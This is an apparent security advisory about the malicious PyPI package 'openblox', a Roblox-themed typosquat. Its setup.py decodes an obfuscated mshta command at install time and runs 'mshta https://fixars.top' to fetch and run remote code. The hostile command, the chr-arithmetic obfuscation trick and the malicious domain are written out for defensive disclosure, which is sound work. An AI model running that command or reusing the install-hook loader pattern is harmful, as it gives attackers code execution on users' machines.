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OpenAdvisories
Malicious MAL-2026-6504

openblox

PyPI package · versions 1.0.1, 1.0.0

Reported Jun 26, 2026 · Updated Jun 26, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (cdd874a78973f84b5373fc03a48472c338ca82ef0a258b7614f81a8359da1201)
setup.py invokes GetGitCommitHash() unconditionally at module top level, so it runs on `pip install openblox` (and any setuptools invocation). On Windows the function builds its command via two helpers (GetDefaultSystemPolicy, CalculateNodeDrift) that reconstruct strings from integer arrays using chr(byte + 14); the arrays decode to `mshta` and `https://fixars.top`. The resulting command is passed to subprocess.check_output with shell=True, causing Windows installers to launch `mshta https://fixars.top` — the mshta.exe Living-Off-The-Land binary downloads and executes remote HTA/JScript, giving the operator arbitrary code execution on the installer's machine. The obfuscation (chr-arithmetic with helper functions falsely named for hardware/latency diagnostics) exists solely to hide the URL and binary name from static scanners. The package additionally exhibits a cover-story shape: it is published under the name `openblox` with a Roblox-themed description, but the actual code is an unrelated `sqligen` SQLite utility, with placeholder author metadata (John / john@example.com / github.com/john/sqligen). The Roblox-library name appears chosen to attract installs intended for the legitimate openblox API library.

Source: kam193 (a8567ce5afa387ad85e22cb7c9144f18e816ae0912f109d7a8afec0dbc1d2b6d)
During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.

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Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

- Downloads and executes a remote executable.

- obfuscation

- malware

- tool:mshta

Indicators of compromise

Shown defanged and not clickable. Search any indicator to find other packages using it.

Domains

URLs